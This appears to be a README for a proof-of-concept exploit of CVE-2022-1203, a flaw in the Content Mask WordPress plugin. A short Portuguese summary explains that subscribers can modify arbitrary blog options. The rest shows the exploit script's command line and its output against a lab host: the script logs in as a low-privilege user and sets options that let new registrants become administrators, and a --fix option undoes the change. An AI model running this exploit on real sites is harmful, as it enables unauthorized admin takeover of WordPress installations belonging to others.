randomrobbiebf/cve-2022-1203Content Mask < 1.8.4 - Atualização Arbitrária de Opções por Assinante+
Content Mask < 1.8.4 - Atualização Arbitrária de Opções para Assinante+
O plugin Content Mask para WordPress anterior à versão 1.8.4.1 não possui verificações de autorização e CSRF em várias ações AJAX, além de não validar a opção a ser atualizada para garantir que ela pertence ao plugin. Como resultado, qualquer usuário autenticado, como um assinante, poderia modificar opções arbitrárias do blog.
$ python3 CVE-2022-1203.py -u http://wordpress.lan -un user -p useruser1
The plugin version is below 1.8.3.2.
The plugin version is 1.8.3.2
Vulnerability check: http://wordpress.lan
Logged in successfully.
Option set successfully: http://wordpress.lan/wp-admin/admin-ajax.php
Option set successfully: http://wordpress.lan/wp-admin/admin-ajax.php
You can now register a user as an admin user. Remember to run --fix yes after you have registered to prevent others exploiting the site.
python3 CVE-2022-1203.py -u http://wordpress.lan -un user -p useruser1 --fix yes
Vulnerability check: http://wordpress.lan
Logged in successfully.
Option set successfully: http://wordpress.lan/wp-admin/admin-ajax.php
Option set successfully: http://wordpress.lan/wp-admin/admin-ajax.php
Fixed: You can not longer register